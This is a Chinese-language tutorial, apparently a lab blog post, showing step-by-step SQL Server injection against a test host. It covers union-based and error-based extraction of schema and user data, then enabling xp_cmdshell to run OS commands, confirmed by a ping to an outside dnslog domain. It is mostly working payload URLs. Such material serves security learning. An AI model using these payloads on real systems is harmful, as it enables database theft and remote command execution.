sqlserver联合查询注入
第一步判断注入点:
在id=1的后面分别加入and 1=1,and 1=2 页面是否相同。
http://192.168.122.143/1.php?id=1%20and%201=1
![](https://i-blog.csdnimg.cn/blog_migrate/17f996bc43ef0188d347629bbdc03c4e.png)
http://192.168.122.143/1.php?id=1%20and%201=2
![](https://i-blog.csdnimg.cn/blog_migrate/3a65ebeb1b4f8d1573ae720731ae3c8d.png)
第二步,判断列数。利用order by
http://192.168.122.143/1.php?id=1%20order%20by%203
![](https://i-blog.csdnimg.cn/blog_migrate/4fa0c33602598bcea3d653fa831dd647.png)
http://192.168.122.143/1.php?id=1%20order%20by%204
![](https://i-blog.csdnimg.cn/blog_migrate/96fd08160ebb655ff45877b0bea40a03.png)
说明存在3列
第三步,查看显示位。
上面的步骤与sql注入基本相同 但显示位这里需要注意,如果用1,2,3这样的字符,需要用单引号勾选。或者用null来占位。
http://192.168.122.143/1.php?id=1%20union%20select%20null,null,null
![](https://i-blog.csdnimg.cn/blog_migrate/fd636c271422f1eae9ea3c68e3076543.png)
第四部,查看数据库名
http://192.168.122.143/1.php?id=-1%20union%20select%20null,db_name(),null
这里需要让ID等于一个没有的值,取消占位
![](https://i-blog.csdnimg.cn/blog_migrate/eb056e924fc8f685b9a920788b4582cb.png)
第五步,查询表名
这里的查询语句也要与mysql区分。需要加上from 这个数据库.sys.sysobjects where xtype=‘U’这样的格式
http://192.168.122.143/1.php?id=-1%20union%20select%20null,name,null%20from%20test.sys.sysobjects%20where%20xtype=%27U%27
![](https://i-blog.csdnimg.cn/blog_migrate/667b8779770495dcac356f1bae3488d4.png)
第六步,查询字段名
同样加入from,不过因为显示的原因要在select的后面加上限制只显示一行。用TOP 1 来限制。这样就可以查询出一个字段名,需要查询其他的字段名,需要在最后面加上name不等于刚才查询的字段,这样就会出现下一个字段名,一直加不等于,知道页面报错,说明查询完毕。
http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,null%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)
![](https://i-blog.csdnimg.cn/blog_migrate/b8b0a7aefea229c021b6ccc65891efb6.png)
http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,null%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27
![](https://i-blog.csdnimg.cn/blog_migrate/b298a26510a4f89d2a2a8f9ddeea9ba0.png)
http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,null%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27%20and%20name!=%27name%27
![](https://i-blog.csdnimg.cn/blog_migrate/a325b811b7f8b0f2931bc8f34df24bba.png)
http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,null%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27%20and%20name!=%27name%27%20and%20name!=%27age%27
![](https://i-blog.csdnimg.cn/blog_migrate/89c8bffc081c371dcb335d66fcd9c634.png)
没有结果说明字段查询结束
第七步,查询数据
沿用第六步的方式,一个一个的查询出数据。
http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,age%20from%20users
![](https://i-blog.csdnimg.cn/blog_migrate/fdecd01e0aebc8580fab268961312dfd.png)
http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,age%20from%20users%20where%20name!=%27hexin%27
![](https://i-blog.csdnimg.cn/blog_migrate/d6f8063ffd5b751037d853d064400888.png)
sqlserver报错注入
sqlserver在语句执行错误的时候 会报错 并且会在网页上显示出来。
利用mssql在转换类型的时候就出错时 会显示系统信息。
报错注入的步骤大体与联合查询注入相似,也是要用不等于这样的方式查出想要的数据。不过报错注入,需要一个函数来让他报错,且能爆出数据,这个函数就是convent
把查询语句转换成int类型,使其出错,但又能爆出数据。
爆出数据库名:http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20top%201%20db_name()))
![](https://i-blog.csdnimg.cn/blog_migrate/cd61a2c72d2465982337e7b010f11a47.png)
爆出表名:http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20name%20from%20test.sys.sysobjects%20where%20xtype=%27U%27))
![](https://i-blog.csdnimg.cn/blog_migrate/16d496c6ec41617c013a7a8fd2921dca.png)
爆出列名:
http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20top%201%20name%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27))
![](https://i-blog.csdnimg.cn/blog_migrate/19a3263a14d37b189468b19a900d8877.png)
http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20top%201%20name%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27%20and%20name!=%27name%27))
![](https://i-blog.csdnimg.cn/blog_migrate/cc8f36892ace871f4a0418a5580997e2.png)
爆出数据:
http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20top%201%20name+age%20from%20users))
![](https://i-blog.csdnimg.cn/blog_migrate/83d7b552418f636c76d7f5d54d4bf01c.png)
....................
sqlserver执行系统命令
先前段sql语句,在后面执行命令语句
http://192.168.122.143/1.php?id=1;
![](https://i-blog.csdnimg.cn/blog_migrate/2455e1a1523b0a1f0648fca0a53c1ed9.png)
进入use master
http://192.168.122.143/1.php?id=1;use%20master;
![](https://i-blog.csdnimg.cn/blog_migrate/f887addae962fb394e5d7bb3f12b6329.png)
开启功能
http://192.168.122.143/1.php?id=1;use%20master;EXEC%20sp_configure%20%27show%20advanced%20options%27,1;RECONFIGURE;EXEC%20sp_configure%20%27xp_cmdshell%27,1;RECONFIGURE;
![](https://i-blog.csdnimg.cn/blog_migrate/e0b9c616bd39498fa5a8335f78a69092.png)
执行成功
接下来开始执行系统语句,因为我们并不能页面上看到我们执行的系统命令是否成功,所以需要dnslog这个网站来测试ping命令
去dnslog上获取一个域名:q5c5gp.dnslog.cn
![](https://i-blog.csdnimg.cn/blog_migrate/002edda0afc4f4d77c95e6af1bf9c089.png)
然后开始执行ping命令
http://192.168.122.143/1.php?id=1;use%20master;exec%20master..xp_cmdshell%20%27ping%20-n%201%20q5c5gp.dnslog.cn%27
这时我们可以明显的感觉页面的返回慢了一些,我们去dnslog上查看
![](https://i-blog.csdnimg.cn/blog_migrate/d6ddbe48af9896ff43a747cb12ee42c6.png)
有数据,说明我们成功的执行了ping命令,现在我们就可以随意的执行其他的系统命令了